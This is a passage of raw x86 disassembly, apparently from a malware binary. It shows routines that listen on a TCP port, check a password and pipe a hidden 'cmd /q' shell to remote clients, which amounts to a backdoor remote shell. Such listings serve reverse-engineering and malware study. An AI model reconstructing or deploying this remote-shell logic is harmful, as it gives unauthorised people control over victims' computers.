push dword_43E920[esi]
call dword_4CB9EC ; recv
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp+Dst]
push eax
push dword_43E91C[esi]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: sub_411123+61j
push dword_43E920[esi]
call dword_4CBA6C ; closesocket
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_411123 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111C0 proc near ; DATA XREF: sub_41144E+1BEo
var_3D4 = byte ptr -3D4h
Str1 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
Dest = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
Args = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_43E91C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_411244: ; CODE XREF: sub_4111C0+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
lea eax, [ebp+Args]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CB928 ; getpeername
test eax, eax
jz short loc_4112BD
call dword_4CB968 ; WSAGetLastError
push eax ; Args
push offset asc_43532C ; "-"
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push edi
call ds:dword_4270D4 ; ExitThread
loc_4112BD: ; CODE XREF: sub_4111C0+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, edi
jnz short loc_4112E7
push [ebp+var_18]
call dword_4CBA60 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: sub_4111C0+10Dj
push dword ptr [eax] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
loc_4112F5: ; CODE XREF: sub_4111C0+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB88
push dword ptr [esi]
call dword_4CBA24 ; send
cmp dword_4CE72C, edi
jnz short loc_411357
push [ebp+var_18]
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Args]
push eax ; Args
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_411357: ; CODE XREF: sub_4111C0+14Cj
; sub_4111C0+16Dj
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset asc_4352F0 ; "-"
call sub_415DAC
push [ebp+arg_0]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4352C4 ; "-"
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push ebx
call ds:dword_4270D4 ; ExitThread
loc_41139E: ; CODE XREF: sub_4111C0+1B9j
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset asc_435298 ; "-"
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call ds:dword_4270D4 ; ExitThread
sub_4111C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: sub_4111C0+9Ap
; sub_4111C0+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset asc_435358 ; "-"
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41141F(char *Args,int,char *Str1)
sub_41141F proc near ; CODE XREF: sub_4111C0+163p
Args = dword ptr 4
arg_4 = dword ptr 8
Str1 = dword ptr 0Ch
push [esp+Args] ; Str2
push [esp+4+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+Args] ; Args
push offset asc_435384 ; "-"
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41144E proc near ; DATA XREF: sub_401ACD+237Ao
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
Source = byte ptr -414h
var_214 = dword ptr -214h
Str = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
Dst = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CB944 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_4114A7
push eax ; Args
push offset asc_4354F4 ; "-"
call sub_415DAC
push [ebp+var_4C]
call sub_40B6D6
add esp, 0Ch
push edi
call ds:dword_4270D4 ; ExitThread
loc_4114A7: ; CODE XREF: sub_41144E+3Aj
push edi
push offset loc_4116CC
call ds:dword_42712C ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_4114E0
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4354B0 ; "-"
call sub_415DAC
pop ecx
pop ecx
call dword_4CB92C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_4114E0: ; CODE XREF: sub_41144E+67j
push ebx
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_50]
call dword_4CB9D4 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_411657
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4CBA00 ; bind
test eax, eax
jnz loc_411657
push 7FFFFFFFh
push ebx
call dword_4CB9FC ; listen
test eax, eax
jnz loc_411657
push offset unk_435474
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415D38
pop ecx
mov [ebp+arg_0], edi
loc_41156F: ; CODE XREF: sub_41144E+15Aj
; sub_41144E+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CBA68 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41165A
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41156F
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_435430 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_415D38
push edi ; int
lea eax, [ebp+Source]
push 9 ; int
push eax ; Source
call sub_40B3BA
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4111C0
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_411642
loc_41162F: ; CODE XREF: sub_41144E+1F2j
cmp [ebp+var_38], esi
jnz loc_41156F
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_41162F
; ---------------------------------------------------------------------------
loc_411642: ; CODE XREF: sub_41144E+1DFj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4353F4 ; "-"
call sub_415DAC
pop ecx
pop ecx
jmp short loc_41165A
; ---------------------------------------------------------------------------
loc_411657: ; CODE XREF: sub_41144E+C8j
; sub_41144E+ECj ...
mov edi, [ebp+arg_0]
loc_41165A: ; CODE XREF: sub_41144E+13Cj
; sub_41144E+207j
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Source]
push offset asc_4353BC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_41169A
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_40] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409869
add esp, 14h
loc_41169A: ; CODE XREF: sub_41144E+22Aj
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push ebx
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop ebx
loc_4116CC: ; DATA XREF: sub_41144E+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_41144E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: sub_4111C0+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E91C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435554 ; "-"
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435554 ; "-"
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_4270B4 ; TerminateThread
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_427130 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435520 ; "-"
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, ds:dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
call ds:dword_4270B4 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_4270FC ; TerminateProcess
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_427070
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CBA6C ; closesocket
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h ; Size
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call _malloc
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411911
mov ebx, ds:dword_427108
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_427070
test eax, eax
jnz short loc_41188A
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435604
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4118B2
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4355C4 ; "-"
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_43559C
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi ; CloseHandle
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi ; CloseHandle
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi ; CloseHandle
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi ; CloseHandle
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
Dst = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_4], esi
call _memset
push 10h ; Size
lea eax, [ebp+var_14]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+Dst], edi
mov edi, ds:dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_427100 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dst]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E918[eax], ecx
call ds:dword_427070 ; CloseHandle
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435644 ; "-"
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24 ; send
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, ds:dword_427094
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411AA6
call esi ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435684 ; "-"
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9EC ; recv
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
call ds:dword_427134 ; GenerateConsoleCtrlEvent
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24 ; send
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_4270F0 ; WriteFile
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BCE proc near ; DATA XREF: sub_401ACD+2BC4o
Source = byte ptr -2D4h
var_D4 = dword ptr -0D4h
Str = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call dword_4CB9D4 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CBA54 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43E91C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CBA00 ; bind
test eax, eax
jnz loc_411D70
push 0Ah
push edi
call dword_4CB9FC ; listen
test eax, eax
jnz loc_411D70
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Source]
push offset asc_42BC94 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411CA9
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_409869
add esp, 14h
loc_411CA9: ; CODE XREF: sub_411BCE+B9j
; sub_411BCE+172j ...
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA68 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_435730 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
